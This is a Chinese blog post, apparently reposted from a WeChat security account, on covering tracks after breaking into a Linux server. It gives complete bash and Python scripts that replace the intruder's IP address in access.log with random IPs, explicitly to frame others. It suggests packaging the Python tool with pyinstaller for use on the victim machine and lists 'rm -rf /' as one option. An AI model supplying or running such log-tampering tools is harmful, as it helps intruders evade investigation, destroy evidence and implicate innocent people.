前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >日志安全之linux清除日志

日志安全之linux清除日志

作者头像
Jumbo
发布2019-10-18 14:55:51
3.5K0
发布2019-10-18 14:55:51
举报
文章被收录于专栏:中国白客联盟中国白客联盟

作者:Evi1oX

想到入侵到别人服务器..那么擦屁股的事情肯定要做的..即使你挂了代理之类的.

我们用的常见的思路

  • 1.直接删除日志文件
  • 2.删除我们自己 ip 的日志内容
  • 3.rm -rf /

如果直接删除文件,那么管理员也会从别的地方下手.或者恢复文件之类的.

我有一个大胆的想法, 替换自己的 ip为随机 ip . 嫁祸给别人.水逆退散 先编写一个生成随机数的函数, 等会儿我们直接调用就行

代码语言:javascript
复制
function rand(){

min=$1

max=$(($2-$min+1))

num=$(date +%s%N)

echo $(($num%$max+$min))

}

再使用11-253的范围 ip 地址, rand1-rand4 每次生成都是随机数, 通过 echo 返回最终 ip

代码语言:javascript
复制
rnd1=$(rand 11 253)

rnd2=$(rand 11 253)

rnd3=$(rand 11 253)

rnd4=$(rand 11 253)

echo $rnd1.$rnd2.$rnd3.$rnd4

那么我们要考虑的就是如何生成多个 ip 供我们使用..我们编写一个函数 result, 每次调用就新生成 ip 即可

代码语言:javascript
复制
function result(){

rnd1=$(rand 11 253)

rnd2=$(rand 11 253)

rnd3=$(rand 11 253)

rnd4=$(rand 11 253)

echo $rnd1.$rnd2.$rnd3.$rnd4

}

最终.我们的生成随机 ip 就成功了.我们把 ip 通过 sed 插入到文件中.但是 sed 是不具备每次插入不一样的值得.我们调用 for 循环多次取 result 函数的值. 然后多次替换即可. 为了判断 for 循环次数 .我们通过 grep |wc 命令来决定执行次数.

完整代码如下:

代码语言:javascript
复制
#!/bin/bash

ip=$1

file='access.log'

ip=$(echo $ip|sed 's/\./\\./g')

function rand(){

min=$1

max=$(($2-$min+1))

num=$(date +%s%N)

echo $(($num%$max+$min))

}



function result(){

rnd1=$(rand 11 253)

rnd2=$(rand 11 253)

rnd3=$(rand 11 253)

rnd4=$(rand 11 253)

echo $rnd1.$rnd2.$rnd3.$rnd4

}



for i in `seq $(cat $file|grep $ip |wc -l)`;do sed -i "1,/$ip/{s/$ip/`result`/}" $file;done

执行结果如图:

本来有10.10.10.2的 ip 入侵记录

通过执行脚本后, 没有10.10.10.2的记录了

当然.我还是建议使用 python 完成这项工作..当日志超过10w 或者100w 级以上的数量 . bash 的执行速度就会显得极其鸡肋.

如需在目标机上使用.建议使用 pyinstaller 完成这项工作

代码语言:javascript
复制
import random

import sys

import os





def getip():

ip1 = random.randrange(11, 254)

ip2 = random.randrange(11, 254)

ip3 = random.randrange(11, 254)

ip4 = random.randrange(11, 254)

return("%s.%s.%s.%s" % (ip1, ip2, ip3, ip4))





def main():

if len(sys.argv) == 1:

print('\nip.exe filepath ip')

sys.exit()

try:

with open(sys.argv[1]) as f:

filecode = f.read()

except IOError as e:

print("\nMay not have %s\n" % sys.argv[1])

sys.exit()



ipnum = filecode.count(sys.argv[2])

if ipnum:

for i in range(ipnum):

newip = getip()

filecode = filecode.replace(sys.argv[2], newip, 1)

with open(sys.argv[1], 'w') as f:

f.write(filecode)

else:

print('No ip can be replaced')





if __name__ == "__main__":

main()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 中国白客联盟 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档